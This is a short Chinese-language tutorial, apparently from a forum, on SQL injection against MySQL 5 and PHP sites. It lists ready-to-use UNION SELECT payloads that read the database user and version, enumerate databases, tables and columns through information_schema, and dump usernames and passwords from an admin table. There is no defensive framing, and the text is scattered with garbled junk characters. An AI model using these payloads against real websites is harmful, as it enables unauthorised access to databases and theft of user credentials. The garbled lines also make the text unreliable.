mysql盲注手册

admin

( G( ~; x3 g- f% [) m5 O教程内容:Mysql 5+php 注入
0 @+ K6 b5 [5 K+ q4 K* R/ v% h. e
2 p  z4 q( \* ^1 i. [" m# ^: t
3 G( ^5 I& X; b! ~8 u1 y
. n5 F+ C* [/ z* ]8 n! r一.查看MYSQL基本信息(库名,版本,用户)

* K- J' }: G  A. eand 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
1 u" e0 s. H& @' s0 l" S, s. Z7 O
二.查数据库

and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
7 D! e6 R) o# {& Olimit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。

三.暴表
& D3 W  v* m! l+ |0 D
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*

limit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。

四.暴字段
' a# U% W5 K$ p1 N- }
and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
& p& V+ s8 }; W" o, o! z0 e+ U
limit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。

五.暴数据

6 m6 N2 W- h6 r: m. Gand 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*


- p5 ?2 U" A8 d; m0 `3 D" ^这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。